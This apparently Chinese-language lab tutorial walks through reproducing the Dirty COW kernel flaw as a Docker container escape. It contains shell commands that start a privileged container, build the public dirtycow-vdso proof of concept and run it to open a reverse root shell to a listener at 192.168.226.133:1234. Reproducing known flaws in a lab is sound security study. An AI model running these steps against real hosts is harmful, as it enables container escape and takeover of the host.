一、漏洞原理与测试目标
-
漏洞本质:Linux 内核写时复制(COW)机制的竞争条件漏洞,允许低权限用户篡改只读内存映射(如 VDSO 虚拟动态共享对象),实现权限提升。
-
Docker 逃逸逻辑:容器与宿主机共享内核,通过特权容器突破隔离,利用漏洞篡改宿主机 VDSO 内存,获取宿主机 root 权限。
-
测试目标:通过scumjr/dirtycow-vdso工具,从容器逃逸到宿主机,获取反向 shell。
二、环境准备(宿主机)
1. 内核版本验证(关键!)
脏牛漏洞仅影响 Linux 内核 2.6.22~4.8.3,需确认宿主机内核:
2. 安装 Docker 环境
1 2 3 4 5
| sudo apt-get update sudo apt-get install -y docker.io sudo systemctl start docker sudo systemctl enable docker
|
三、漏洞复现步骤
1. 启动特权容器(突破隔离的核心)
1 2 3 4 5 6
| sudo docker run --privileged -v /:/host -it ubuntu:18.04 /bin/bash
|
2. 容器内安装依赖工具
1 2 3 4 5
| apt-get update && apt-get install -y gcc make git nasm vim-common
|
3. 克隆并编译 POC(漏洞利用程序)
1 2 3 4 5 6
| git clone https://github.com/scumjr/dirtycow-vdso.git cd dirtycow-vdso
make
|

4. 执行漏洞利用(获取宿主机反向 shell)
步骤 1:宿主机开启监听(接收反弹 shell)
在宿主机新终端执行(替换 IP 为宿主机实际 IP,如 192.168.226.133):
步骤 2:容器内运行 POC(发起攻击)
1 2
| ./0xdeadbeef 192.168.226.133:1234
|

